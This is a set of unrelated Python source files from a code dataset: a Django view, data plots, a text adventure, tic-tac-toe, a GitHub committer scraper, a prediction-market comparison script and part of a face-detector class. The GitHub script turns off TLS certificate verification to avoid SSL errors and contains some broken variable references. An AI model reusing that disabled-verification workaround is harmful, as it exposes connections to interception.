MessageThread.objects.get(id=pk)\n threads = Message.objects.filter(thread_id=pk).order_by('-send_time')\n related_project = MessageThread.objects.get(id=pk)\n\n if (threads[0].from_user == request.user):\n other_user = threads[0].to_user\n else:\n other_user = threads[0].from_user\n \n admin_position = OrgAdmin.objects.get(user=other_user)\n\n if request.method == 'POST':\n form = MessageForm(request.POST)\n if form.is_valid():\n message = Message()\n message = form.save(commit=False)\n message.from_user=request.user\n message.to_user=other_user\n message.send_time=timezone.now()\n message.thread=thread_id\n message.first_in_thread=False\n message.save()\n form.save_m2m()\n # form = ThreadMessageForm(from_user=request.user, to_user=other_user, send_time=timezone.now(), thread_id=thread_id, data=request.POST)\n # if form.is_valid():\n # form.save()\n # # form = ThreadMessageForm(request.POST)\n else:\n form = MessageForm()\n\n\n context = RequestContext(request, {\n 'latest_messages': threads,\n 'other_user': other_user,\n 'related_project': related_project.related_project,\n 'admin_position': admin_position,\n 'form': form,\n })\n return render(request, 'message/messages_thread.html', context)\n\n\n","sub_path":"js1kg/message/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"7692478","text":"import numpy as np\nimport scipy as sp\nimport mglearn\nimport matplotlib.pyplot as plt\n\n\nfrom mglearn.datasets import make_forge\nfrom sklearn.model_selection import train_test_split\n\n\nX, y = make_forge()\n\nprint(X,y)\nprint(X[:,0])\nprint(X[:,1])\n\nfig = plt.figure()\nax = fig.add_axes([0,0,1,1])\n\nax.scatter(X[:,0],y, color='r',marker='^')\nax.scatter(X[:,1],y, color = 'b')\n\nax.set_xlabel(\"First Feature\")\nax.set_ylabel(\"Second Feature\")\nax.set_title(\"Make forge data scatter plot\")\nax.legend(labels=[\"1st\",\"2nd\"])\nplt.ylim(-3,3)\nplt.show()\n\n\n","sub_path":"scikit/make_forge_datasets.py","file_name":"make_forge_datasets.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"177113656","text":"import pcmdpy_gpu as ppy\nimport numpy as np\nimport pandas as pd\nfrom importlib import util\nfrom setup_files.mocks_paper1.mock_models import models, run_names, results\n\n\ndef get_max_logl(key, n_samples=100, verbose=True):\n config_mod = 'setup_files/mocks_paper1'\n config_file = f'setup_files/mocks_paper1/{key}.py'\n spec = util.spec_from_file_location(config_mod, config_file)\n config = util.module_from_spec(spec)\n spec.loader.exec_module(config)\n params = config.params\n \n assert params['data_is_mock'], \"Have not implemented data runs yet\"\n \n driv.filters = params['filters']\n driv.iso_model = params['iso_model']\n driv.initialize_data(params['data_pcmd'], bins=params['bins'])\n best_params = results[key].best_params\n Nim = params['Nim']\n gal_model = params['gal_model']\n prior = params.get('prior', gal_model.get_flat_prior())\n \n logl_kwargs = {'like_mode': params['like_mode'],\n 'downsample': params['downsample'],\n 'mag_system': params['mag_system'],\n 'sky_noise': params['sky_noise'],\n 'shot_noise': params['shot_noise']}\n \n logls = [ppy.fit_model.lnlike(best_params, driv, Nim,\n prior.lnprior, gal_model,\n fixed_seed=False,\n **logl_kwargs) for _ in range(n_samples)]\n return np.median(logls)\n\n\ndef add_max_logl(key, max_logl):\n filename = f'results/paper1_{key}.csv'\n with open(filename, 'r') as f:\n text = f.read()\n if 'max_logl' in text:\n text = text.partition('\\n')[-1]\n with open(filename, 'w') as f:\n f.write(f'# max_logl : {max_logl:.5e}\\n')\n f.write(text)\n\n\nif __name__ == '__main__':\n f_mock = ppy.instrument.default_m31_filters()\n iso_model = ppy.isochrones.Isochrone_Model(f_mock, mag_system='vega')\n driv = ppy.driver.Driver(iso_model, gpu=True)\n\n max_logls = {}\n for i, k in enumerate(['mock_11']):\n print(f'{k}, {i} of {len(results)}')\n max_logl = get_max_logl(k, n_samples=100, verbose=False)\n max_logls[k] = max_logl\n print(k, max_logl)\n add_max_logl(k, max_logl)\n\n","sub_path":"scripts_py/postprocess_mocks.py","file_name":"postprocess_mocks.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"574619985","text":"import items\n\n\n\n\ndef starting_spot(second):\n\t\n if second.lower() == (\"take mailbox\"):\n print(\"---------------------------------------------------------\")\n print(\"It is securely anchored.\")\n return [4,1]\n elif second.lower() == (\"open mailbox\"):\n print(\"---------------------------------------------------------\")\n print(\"Opening the small mailbox reveals a leaflet.\")\n return [4,1]\n elif second.lower() == (\"go north\"):\n return [1,1]\n elif second.lower() == (\"go east\"):\n return [3,1]\n elif second.lower() == (\"look at house\"):\n print(\"---------------------------------------------------------\")\n print(\"The house is a beautiful colonial house which is painted white. It is clear that the owners must have been extremely wealthy.\")\n return [4,1]\n elif second.lower() == (\"go southwest\"):\n return [8,1]\n elif second.lower() == (\"read leaflet\"):\n print(\"---------------------------------------------------------\")\n print(\"Welcome to the Unofficial Python Version of Zork. Your mission is to find a Jade Statue.\")\n return [4,1]\n else:\n print(\"---------------------------------------------------------\")\n return [4,1]\n\ndef the_lake(north_house_inp):\n\t# North of House\n\n if north_house_inp.lower() == (\"go south\"):\n return [4,1]\n elif north_house_inp.lower() == (\"swim\"):\n print(\"---------------------------------------------------------\")\n print(\"You don't have a change of clothes and you aren't here on vacation.\")\n return [1,1]\n elif north_house_inp.lower() == (\"fish\"):\n print(\"---------------------------------------------------------\")\n print(\"You spend some time fishing but nothing seems to bite.\")\n return [1,1]\n else:\n print(\"---------------------------------------------------------\")\n return [1,1]\n\ndef the_forest(forest_inp):\n\n\t# Southwest Loop\n\n if forest_inp.lower() == (\"go west\"):\n print(\"---------------------------------------------------------\")\n print(\"You would need a machete to go further west.\")\n return [8,1]\n elif forest_inp.lower() == (\"go north\"):\n print(\"---------------------------------------------------------\")\n print(\"The forest becomes impenetrable to the North.\")\n return [8,1]\n elif forest_inp.lower() == (\"go south\"):\n print(\"---------------------------------------------------------\")\n print(\"Storm-tossed trees block your way.\")\n return [8,1]\n elif forest_inp.lower() == (\"go east\"):\n return [9,1]\n else:\n print(\"---------------------------------------------------------\")\n return [8,1]\ndef the_grate(grating_inp):\n\t# East Loop and Grating Input\n\t\t\n\n if grating_inp.lower() == (\"go south\"):\n print(\"---------------------------------------------------------\")\n print(\"You see a large ogre and turn around.\")\n return [9,1]\n elif grating_inp.lower() == (\"descend grating\"):\n return [10,1]\n else:\n print(\"---------------------------------------------------------\")\n return [9,1]\n\ndef the_cave(cave_inp):\n\t\n\n if cave_inp.lower() == (\"descend staircase\"):\n return [11,1]\n elif cave_inp.lower() == (\"take skeleton\"):\n print(\"---------------------------------------------------------\")\n print(\"Why would you do that? Are you some sort of sicko?\")\n return [10,1]\n elif cave_inp.lower() == (\"smash skeleton\"):\n print(\"---------------------------------------------------------\")\n print(\"Sick person. Have some respect mate.\")\n return [10,1]\n elif cave_inp.lower() == (\"light up room\"):\n print(\"---------------------------------------------------------\")\n print(\"You would need a torch or lamp to do that.\")\n return [10,1]\n elif cave_inp.lower() == (\"break skeleton\"):\n print(\"---------------------------------------------------------\")\n print(\"I have two questions: Why and With What?\")\n return [10,1]\n elif cave_inp.lower() == (\"go down staircase\"):\n return [11,1]\n elif cave_inp.lower() == (\"scale staircase\"):\n return [11,1]\n\n else:\n print(\"---------------------------------------------------------\")\n return [10,1]\ndef back_of_house(room):\n if room.lower() == (\"go west\"):\n return[2,1]\n elif room.lower() == (\"go south\"):\n print(\"---------------------------------------------------------\")\n print(\"There was a high fence that you were unable to climb\")\n return[3,1]\n elif room.lower() == (\"go back\"):\n return[4,1]\n else:\n print(\"---------------------------------------------------------\")\n return [3,1]\ndef kitchen(options):\n if options.lower() == (\"go up stairs\"):\n return [5,1]\n elif options.lower() == (\"pick up lantern\"):\n print(\"The lamp is super glued to the table.\")\n return [2,1]\n elif options.lower() == (\"look for food\"):\n print(\"there is no food, sorry!\")\n return [2,1]\n elif options.lower() == (\"go back outside\"):\n return [3,1]\n else:\n print(\"---------------------------------------------------------\")\n return [2,1]\ndef attic(portal):\n if portal.lower() == \"go in portal\":\n return [8,1]\n elif portal.lower() == \"go back down\":\n return[2,1]\n else:\n print(\"---------------------------------------------------------\")\n return [5,1]\n\t\t# End of game\ndef the_end(last_inp):\n\t\t\t\n if last_inp.lower() == (\"open trunk\"):\n print(\"---------------------------------------------------------\")\n print(\"You have found the Jade Statue and have completed your quest!\")\n print(\"---------------------------------------------------------\")\n return [1101,1]\n\n \n else:\n print(\"---------------------------------------------------------\")\n return [11,1]\n\t\t\t\n\t\t\n","sub_path":"src/zork.py","file_name":"zork.py","file_ext":"py","file_size_in_byte":6871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"112586808","text":"# -*- coding: utf-8 -*-\n\n\ndef get_screen_resolution():\n \"\"\"获取屏幕分辨率\n 需用到PIL库(在Python2.X中为PIL,在Python3.X中为Pillow)\n args:\n None\n returns:\n screen_resolution: 屏幕分辨率\n \"\"\"\n from PIL import ImageGrab\n return ImageGrab.grab().size\n\n\ndef save_screenoptions(screen_range, file_name=None):\n \"\"\"截取特定范围截图\n args:\n screen_range: 截取的屏幕范围,参数为左上&右下的坐标,如(0, 0, 100, 100)\n filename: 要保存的文件名,若未设置以当前时间为文件名;\n returns:\n screenoptions: 屏幕截图\n \"\"\"\n from PIL import ImageGrab\n if file_name is None:\n # 如果没有设置图片名,则默认以当前“日期-时间.png”保存\n import time\n local_time = time.strftime(\"%Y%m%d-%H%M%S\", time.localtime())\n file_name = \"{0}.png\".format(local_time)\n elif len(file_name.split(\".\")) == 1:\n # 如果设置的图片名没有后缀,则默认以.png后缀保存\n file_name = \"{0}.png\".format(file_name)\n else:\n # 如果有设置图片名,且有后缀则正常保存。为简便,有\".\"则认为有后缀,\n # 实际上这是有Bug的,如果有图片后缀表用来判断比较合理,不过懒得去整理图片都有哪些格式了o(╯□╰)o。\n pass\n screenoptions = ImageGrab.grab(screen_range)\n screenoptions.save(file_name)\n return file_name\n\n\ndef format_local_time():\n \"\"\"获取系统时间,并格式化为: \"年-月-日 时:分:秒\"\n args:\n None\n returns:\n formated_local_time: 已被格式化了的当前系统时间\n \"\"\"\n import time\n return time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n\n\ndef get_mac_address():\n import uuid\n node = uuid.getnode()\n return uuid.UUID(int=node).hex[-12:]\n\n\ndef test():\n format_local_time()\n save_screenoptions([0, 0, 500, 500])\n get_screen_resolution()\n get_mac_address()\n\n\n# test()\n","sub_path":"system_.py","file_name":"system_.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"465420497","text":"import pytest\n\nfrom aggregation.utils.validation import validate_aggregation_request\n\n\ndef test_aggregation_request_valid():\n params = {\n 'aggregation': 'avg',\n 'field': 'area',\n 'by': 'region',\n }\n result = validate_aggregation_request(params)\n assert result.errors == {}\n\n@pytest.mark.parametrize(\n 'aggregation, field, by, expected',\n [\n (None, None, None, {'aggregation': ['required field'], 'by': ['required field'], 'field': ['required field']}), # missing required fields\n ('', '', '', {'aggregation': ['unallowed value '], 'by': ['unallowed value '], 'field': ['unallowed value ']}), # invalid values\n ('avg', 'countries', 'region', {'field': ['unallowed value countries']}), # invalid field value based on aggregation type\n ],\n)\ndef test_aggregation_request_bad(aggregation, field, by, expected):\n params = {}\n if aggregation is not None:\n params['aggregation'] = aggregation\n if field is not None:\n params['field'] = field\n if by is not None:\n params['by'] = by\n\n result = validate_aggregation_request(params)\n assert result.errors == expected\n","sub_path":"tests/aggregation/utils/test_validation.py","file_name":"test_validation.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"494352145","text":"from github import Github\nfrom ratelimiter import RateLimiter\nimport time\nimport geopy.geocoders\nfrom geopy.geocoders import Nominatim\nimport operator\nimport ssl\n\n# collect the number of commits each user has made to a repo and return data as a dictionary\ndef get_commit_info(dictionary, repo):\n # get all the commits made to that repo\n commits = repo.get_commits()\n\n # for each commit, find the user\n # update the count of a user's commit number if they are already in the dictionary\n # otherwise, add the user to the dictionary (with a commit count of 1)\n for commit in commits:\n user=commit.committer\n if str(type(user)) == \"\":\n dictionary[user]=0\n elif user in d:\n dictionary[user]+=1\n else:\n dictionary[user]=1\n\n return dictionary\n\n# combine two dictionaries (used to add a user's total commits across repos)\n# returns a single dictionary with updated user commit #'s\ndef combine_dicts(d1, d2):\n for item in d2:\n if item in d1:\n d1[item]= d1[item] + d2[item]\n else:\n d1[item]=1\n\n return d1\n\ndef main():\n\n username = raw_input(\"Enter your Github username: \")\n password = raw_input(\"Enter your Github password: \")\n\n g = Github(username, password)\n\n # get the top 10 most starred python repos\n repositories = g.search_repositories(query='language: python', sort='stars', order='desc')\n top_10 = list(repositories[:10])\n\n # create a dictionary for the commits of each repo\n d = dict()\n\n # sleep in between to prevent rate limiting\n d1 = get_commit_info(d, top_10[0])\n time.sleep(1800)\n\n newdict2 = dict()\n d2 = get_commit_info(newdict2, top_10[1])\n time.sleep(1800)\n\n newdict3 = dict()\n d3 = get_commit_info(newdict3, top_10[2])\n time.sleep(1800)\n\n newdict4 = dict()\n d4 = get_commit_info(newdict4, top_10[3])\n time.sleep(1800)\n\n newdict5 = dict()\n d5 = get_commit_info(newdict5, top_10[4])\n time.sleep(1800)\n\n newdict6 = dict()\n d6 = get_commit_info(newdict6, top_10[5])\n time.sleep(1800)\n\n newdict7 = dict()\n d7 = get_commit_info(newdict7, top_10[6])\n time.sleep(1800)\n\n newdict8 = dict()\n d8 = get_commit_info(newdict8, top_10[7])\n time.sleep(1800)\n\n newdict9 = dict()\n d2 = get_commit_info(newdict9, top_10[8])\n time.sleep(1800)\n\n newdict10 = dict()\n d10 = get_commit_info(newdict10, top_10[9])\n time.sleep(1800)\n\n d12 = combine_dicts(d1, d2)\n d34 = combine_dicts(d3, d4)\n d56 = combine_dicts(d5, d6)\n d78 = combine_dicts(d7, d8)\n d910 = combine_dicts(d9, d10)\n d14 = combine_dicts(d12, d34)\n d58 = combine_dicts(d56, d78)\n most = combine_dicts(d14, d58)\n total = combine_dicts(most, d910)\n\n # create a list of tuples (user, commit_num) ordered by commit number in descending order\n sorted_by_commit = sorted(total.items(), key=operator.itemgetter(1), reverse=True)\n\n # list of tuples containing the usernames and number of commits of the top 150 contributors\n top_50_committers = sorted_by_commit[:150]\n\n\n # # testing writing to a csv file to make sure data collection is working\n # for item in top_150_committers:\n # row = [item[0], item[1]]\n # with open('name.csv', 'a', encoding='utf8') as csvFile:\n # writer = csv.writer(csvFile, quoting=csv.QUOTE_ALL)\n # writer.writerow(row)\n\n\n # handling SSL Certificate error\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n geopy.geocoders.options.default_ssl_context = ctx\n\n geolocator = Nominatim()\n\n # write the location data to a csv\n for person in top_150_committers:\n user = person[0]\n if user.location == None:\n print('x')\n elif str(type(user.location)) == \"\":\n print('x')\n else:\n location = geolocator.geocode(user.location)\n if location==None:\n print('x')\n else:\n info = [location.longitude, location.latitude, user.location, user.name, person[1], user]\n with open('locationdata.csv', 'a', encoding='utf8') as csvFile:\n writer = csv.writer(csvFile, quoting=csv.QUOTE_ALL)\n writer.writerow(info)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"data_collection.py","file_name":"data_collection.py","file_ext":"py","file_size_in_byte":4386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"409790877","text":"import pygame\nimport time\n# Set up the drawing window\npygame.init()\nwidth = 500\nheight = 500\nscreen = pygame.display.set_mode([width, height])\npygame.display.set_caption(\"Tic Tac Toe\")\nstarting_window = pygame.image.load(\"modified_cover-100x100.png\")\nx = pygame.image.load(\"X_modified-100x100.png\")\no = pygame.image.load(\"o_modified-100x100.png\")\nstarting_window = pygame.transform.scale(starting_window, (width, height-100))\nx = pygame.transform.scale(x, (80, 80))\no = pygame.transform.scale(o, (80, 80))\nBoard = [[None]*3, [None]*3, [None]*3]\nsymbol = \"x\"\n\n# Welcome Screen\nscreen.fill((255, 255, 255))\nscreen.blit(starting_window, (0, 50))\npygame.display.flip()\ntime.sleep(1)\n\n# Load the Game Board\nscreen.fill((255, 255, 255))\npygame.draw.line(screen, (0,0,0), (width / 3, 0), (width / 3, height), 7)\npygame.draw.line(screen, (0,0,0), (width / 3*2, 0), (width / 3*2, height), 7)\npygame.draw.line(screen, (0,0,0), (0, height/3), (width, height/3), 7)\npygame.draw.line(screen, (0,0,0), (0, height/3*2), (width, height/3*2), 7)\npygame.display.update()\n\n\ndef game():\n global symbol\n xaxis, yaxis = pygame.mouse.get_pos()\n if xaxis < 160 and yaxis < 160 and Board[0][0] == None:\n Board[0][0] = symbol\n if symbol == \"x\":\n screen.blit(x, (50, 50))\n symbol = \"o\"\n else:\n screen.blit(o, (50, 50))\n symbol = \"x\"\n pygame.display.update()\n elif 160 < xaxis < 320 and yaxis < 160 and Board[0][1] == None:\n Board[0][1] = symbol\n if symbol == \"x\":\n screen.blit(x, (210, 50))\n symbol = \"o\"\n else:\n screen.blit(o, (210, 50))\n symbol = \"x\"\n elif 320 < xaxis and yaxis < 160 and Board[0][2] == None:\n Board[0][2] = symbol\n if symbol == \"x\":\n screen.blit(x, (370, 50))\n symbol = \"o\"\n else:\n screen.blit(o, (370, 50))\n symbol = \"x\"\n elif xaxis < 160 and 160 < yaxis < 320 and Board[1][0] == None:\n Board[1][0] = symbol\n if symbol == \"x\":\n screen.blit(x, (50, 210))\n symbol = \"o\"\n else:\n screen.blit(o, (50, 210))\n symbol = \"x\"\n elif 160 < xaxis < 320 and 160 < yaxis < 320 and Board[1][1] == None:\n Board[1][1] = symbol\n if symbol == \"x\":\n screen.blit(x, (210, 210))\n symbol = \"o\"\n else:\n screen.blit(o, (210, 210))\n symbol = \"x\"\n elif 320 < xaxis and 160 < yaxis < 320 and Board[1][2] == None:\n Board[1][2] = symbol\n if symbol == \"x\":\n screen.blit(x, (370, 210))\n symbol = \"o\"\n else:\n screen.blit(o, (370, 210))\n symbol = \"x\"\n elif xaxis < 160 and 320 < yaxis and Board[2][0] == None:\n Board[2][0] = symbol\n if symbol == \"x\":\n screen.blit(x, (50, 370))\n symbol = \"o\"\n else:\n screen.blit(o, (50, 370))\n symbol = \"x\"\n elif 160 < xaxis < 320 and 320 < yaxis and Board[2][1] == None:\n Board[2][1] = symbol\n if symbol == \"x\":\n screen.blit(x, (210, 370))\n symbol = \"o\"\n else:\n screen.blit(o, (210, 370))\n symbol = \"x\"\n elif 320 < xaxis and 320 < yaxis and Board[2][2] == None:\n Board[2][2] = symbol\n if symbol == \"x\":\n screen.blit(x, (370, 370))\n symbol = \"o\"\n else:\n screen.blit(o, (370, 370))\n symbol = \"x\"\n pygame.display.update()\n\n count = 0\n for a in range(0,3):\n for b in range (0,3):\n if Board[a][b] != None:\n count = count + 1\n if Board[a][b] != None and count == 9:\n screen.fill((255, 255, 255))\n text = pygame.font.Font(None, 100).render(\"Draw\", 1, (0, 0, 0))\n screen.blit(text, (50, 50))\n pygame.display.update()\n count = 0\n if Board[0][0] == Board[0][1] == Board[0][2] and Board[0][0] != None:\n screen.fill((255, 255, 255))\n text = pygame.font.Font(None, 100).render(Board[0][0] + \" won\", 1, (0,0,0))\n screen.blit(text, (50,50))\n pygame.display.update()\n elif Board[1][0] == Board[1][1] == Board[1][2] and Board[1][0] != None:\n screen.fill((255, 255, 255))\n text = pygame.font.Font(None, 100).render(Board[1][0] + \" won\", 1, (0,0,0))\n screen.blit(text, (50,50))\n pygame.display.update()\n elif Board[2][0] == Board[2][1] == Board[2][2] and Board[2][0] != None:\n screen.fill((255, 255, 255))\n text = pygame.font.Font(None, 100).render(Board[2][0] + \" won\", 1, (0,0,0))\n screen.blit(text, (50,50))\n pygame.display.update()\n elif Board[0][0] == Board[1][0] == Board[2][0] and Board[0][0] != None:\n screen.fill((255, 255, 255))\n text = pygame.font.Font(None, 100).render(Board[0][0] + \" won\", 1, (0,0,0))\n screen.blit(text, (50,50))\n pygame.display.update()\n elif Board[0][1] == Board[1][1] == Board[2][1] and Board[0][1] != None:\n screen.fill((255, 255, 255))\n text = pygame.font.Font(None, 100).render(Board[0][1] + \" won\", 1, (0,0,0))\n screen.blit(text, (50,50))\n pygame.display.update()\n elif Board[0][2] == Board[1][2] == Board[2][2] and Board[0][2] != None:\n screen.fill((255, 255, 255))\n text = pygame.font.Font(None, 100).render(Board[0][2] + \" won\", 1, (0,0,0))\n screen.blit(text, (50,50))\n pygame.display.update()\n elif Board[0][0] == Board[1][1] == Board[2][2] and Board[0][0] != None:\n screen.fill((255, 255, 255))\n text = pygame.font.Font(None, 100).render(Board[0][0] + \" won\", 1, (0,0,0))\n screen.blit(text, (50,50))\n pygame.display.update()\n elif Board[0][2] == Board[1][1] == Board[2][0] and Board[0][2] != None:\n screen.fill((255, 255, 255))\n text = pygame.font.Font(None, 100).render(Board[0][2] + \" won\", 1, (0,0,0))\n screen.blit(text, (50,50))\n pygame.display.update()\n\n\n# Game Start\nrunning = True\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n running = False\n elif event.type is pygame.MOUSEBUTTONDOWN:\n game()\n\n\n","sub_path":"tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":6310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"478457788","text":"\"\"\"\nCompare FiveThirtyEight's odds for their \"states to watch\" with PredictIt\nprices for each.\n\nPI prices are grabbed from their API.\n538 doesn't seem to have an API, but it would be nice to find a way to scrape\ntheir data.\nIn the meantime, 538 odds for a democratic or republican win in each state are\nmanually entered in a CSV.\nThe CSV format is:\n state,dem,rep\n AZ,33.2,66.8\n CO,76.3,23.5\n ...\n\nJack Enneking\n2016-09-08\n\"\"\"\n\nimport sys\nimport os\nimport time\nimport csv\nimport requests\n\n\n############ State objects ############\n# Create the main data structure: a list of objects, each representing a state.\n\nclass State:\n \"\"\"Represent a state and its election probabilities.\"\"\"\n def __init__(self, abbr, name=''):\n self.abbr = abbr\n self.name = name\n\nstateNames = {\n 'AZ': 'Arizona',\n 'CO': 'Colorado',\n 'FL': 'Florida',\n 'GA': 'Georgia',\n 'IA': 'Iowa',\n 'MI': 'Mississippi',\n 'MN': 'Minnesota',\n 'NC': 'North Carolina',\n 'NH': 'New Hampshire',\n 'NV': 'Nevada',\n 'OH': 'Ohio',\n 'PA': 'Pennsylvania',\n 'VA': 'Virginia',\n 'WI': 'Wisconsin',\n}\n\n# The main data structure, a list of state objects:\nstates = []\n# Sort them into the list because they'll be printed in this order:\nfor abbr in sorted(stateNames):\n name = stateNames[abbr]\n states.append(State(abbr, name))\n\n\n############ Read FiveThirtyEight data ############\n\nfileName = 'fte.csv'\nfilePath = sys.path[0]\nfilePathName = os.path.join(filePath, fileName)\ntry:\n with open(filePathName, newline='') as csvFile:\n # Get each line as a dict:\n reader = csv.DictReader(csvFile)\n # Make list of the line-dicts:\n fteChances = list(reader)\nexcept Exception as error:\n print('Could not find FiveThirtyEight data. Is there an \"fte.csv\" in this directory?')\n print(error)\n sys.exit(1)\n\nprint('Read FTE chances:')\nfor state in states:\n # Let the user know we're trying:\n print(' ' + state.abbr + '...', end='', flush=True)\n foundIt = False\n for row in fteChances: # each state from fte.csv\n if state.abbr == row['state']: # e.g. \"AZ\"\n state.fteDemChance = float(row['dem']) # e.g. \"33.2\"\n state.fteRepChance = float(row['rep']) # e.g. \"66.8\"\n foundIt = True\n print(' good!')\n break\n if not foundIt:\n print(' fail!')\n\n\n############ Get PredictIt data ############\n\n# times to retry each request if it fails:\ntries = 5\nurlBase = 'https://www.predictit.org/api/marketdata/ticker/' # all urlBase are belong to us\nsuffix = 'USPREZ16' # markets are e.g. AZ.USPREZ16, CO.USPREZ16\nheaders = {'Accept': 'application/json'}\n\ndef getContentDict(url, tries=5, delay=1):\n \"\"\"Get data from the API and start parsing it.\"\"\"\n for i in range(tries):\n # dots count tries:\n print('.', end='', flush=True)\n try:\n r = requests.get(url, headers=headers)\n except Exception as error:\n if i >= tries - 1: # if it's the last try\n raise\n else:\n pass\n except KeyboardInterrupt:\n print(' cancelled.')\n sys.exit(1)\n else:\n # PI gives a 200 for nonexistent markets, just with null contents.:\n if r.status_code == 200 and r.content != b'null':\n # Extract the good bits: a list of the (two) contracts.:\n return(r.json()['Contracts'])\n time.sleep(delay)\n print(r.status_code)\n raise Exception(r.status_code)\n\nprint('Get PI prices:')\nfor state in states:\n # Let the user know we're trying:\n print(' ' + state.abbr + '..', end='', flush=True)\n \n # Construct request URL e.g. \"https://www.predictit.org/api/marketdata/ticker/AZ.USPREZ16\":\n url = urlBase + state.abbr + '.' + suffix\n try:\n contracts = getContentDict(url, 5)\n except Exception:\n print(' fail!')\n else:\n print(' good!')\n for contract in contracts: # contracts is a list of the two contracts for the state\n if contract['Name'] == 'Democratic':\n state.piDemPrice = contract['BestBuyYesCost']\n state.piDemChance = state.piDemPrice * 100 # prices are /1, chances /100\n elif contract['Name'] == 'Republican':\n state.piRepPrice = contract['BestBuyYesCost']\n state.piRepChance = state.piRepPrice * 100 # prices are /1, chances /100\n else:\n print('Something fishy, though.') # not Democratic or Republican\n\n\n############ Printing ############\n\n# Adjust table spacing here:\ncolWidth = [4,3,4,3]\n\ndef addSign(n):\n \"\"\"Format diffs for printing\"\"\"\n if int(n) > 0:\n s = '+' + format(n, '0.0f')\n else:\n s = format(n, '0.0f')\n return s\n\nheader1 = ' '.join((\n '│'.rjust(6),\n 'Democrat'.center(sum(colWidth[1:]) + 2),\n '│',\n 'Republican'.center(sum(colWidth[1:]) + 2),\n))\n\nheader2 = ' '.join((\n 'State│'.rjust(6),\n '538'.rjust(colWidth[1]),\n 'PI'.center(colWidth[2]),\n 'dif'.rjust(colWidth[3]),\n '│',\n '538'.rjust(colWidth[1]),\n 'PI'.center(colWidth[2]),\n 'dif'.rjust(colWidth[3]),\n))\n\nheaderBar = '┼'.join((\n '─' * (colWidth[0] + 1),\n '─' * (sum(colWidth[1:]) + 4),\n '─' * (sum(colWidth[1:]) + 4),\n))\n\nprint('')\nprint(header1)\nprint(header2)\nprint(headerBar)\n\n# List for abbr.s of states that don't have all four values:\nbadData=[]\nfor state in states:\n try:\n state.fteDemChance, state.fteRepChance, state.piDemPrice, state.piRepPrice\n except AttributeError:\n badData.append(state.abbr)\n else:\n fteDemPercent = format(state.fteDemChance, '0.0f') + '%'\n piDemPercent = format(state.piDemChance , '0.0f') + '\\u00A2' # cent sign\n demDiff = addSign(state.piDemChance - state.fteDemChance)\n \n fteRepPercent = format(state.fteRepChance, '0.0f') + '%'\n piRepPercent = format(state.piRepChance , '0.0f') + '\\u00A2'\n repDiff = addSign(state.piRepChance - state.fteRepChance)\n \n # The goods!\n print(\n state.abbr.rjust( colWidth[0]),\n '│',\n fteDemPercent.rjust(colWidth[1]),\n piDemPercent.rjust(colWidth[2]),\n demDiff.rjust(colWidth[3]),\n '│',\n fteRepPercent.rjust(colWidth[1]),\n piRepPercent.rjust(colWidth[2]),\n repDiff.rjust(colWidth[3]),\n )\n\nif len(badData):\n print('\\nInsufficient data:', ', '.join(badData))\nprint()\n\n# Happy trading!\n","sub_path":"PI-vs-538.py","file_name":"PI-vs-538.py","file_ext":"py","file_size_in_byte":6590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"48264916","text":"import numpy as np\nimport torch\nfrom .get_nets import PNet, RNet, ONet\nfrom .box_utils import nms, calibrate_box, get_image_boxes, convert_to_square, _preprocess\nimport cv2\nimport os\nimport math\n\n\nclass Predictor:\n def __init__(self, device='cuda:0') -> None:\n super().__init__()\n\n # LOAD MODELS\n self.pnet = PNet()\n self.rnet = RNet()\n self.onet = ONet()\n self.pnet.eval()\n self.rnet.eval()\n self.onet.eval()\n\n self.device = device\n\n self.pnet.to(self.device)\n self.rnet.to(self.device)\n self.onet.to(self.device)\n\n def __call__(self, image):\n return self.predict_bounding_boxes_and_landmarks(image)\n\n def predict_bounding_boxes(self,\n image,\n min_face_size=20.0,\n thresholds=None,\n nms_thresholds=None):\n\n \"\"\"\n Arguments:\n image: an instance of cv2 image or path to the image\n min_face_size: a float number.\n thresholds: a list of length 3.\n nms_thresholds: a list of length 3.\n\n Returns:\n two float numpy arrays of shapes [n_boxes, 4] and [n_boxes, 10],\n bounding boxes and facial landmarks.\n \"\"\"\n\n bboxes_and_landmarks = self.predict_bounding_boxes_and_landmarks(image,\n min_face_size,\n thresholds=thresholds,\n nms_thresholds=nms_thresholds)\n\n return bboxes_and_landmarks[0]\n\n def predict_bounding_boxes_and_landmarks(self,\n image,\n min_face_size=20.0,\n thresholds=None,\n nms_thresholds=None):\n \"\"\"\n Arguments:\n image: an instance of cv2 image or path to the image\n min_face_size: a float number.\n thresholds: a list of length 3.\n nms_thresholds: a list of length 3.\n\n Returns:\n two float numpy arrays of shapes [n_boxes, 4] and [n_boxes, 10],\n bounding boxes and facial landmarks.\n \"\"\"\n\n if thresholds is None:\n thresholds = [0.6, 0.7, 0.8]\n if nms_thresholds is None:\n nms_thresholds = [0.7, 0.7, 0.7]\n\n if isinstance(image, str):\n if os.path.exists(image):\n image = cv2.imread(image)\n else:\n raise FileNotFoundError(image)\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n\n # BUILD AN IMAGE PYRAMID\n original_height, original_width = image.shape[:2]\n min_length = min(original_height, original_width)\n\n min_detection_size 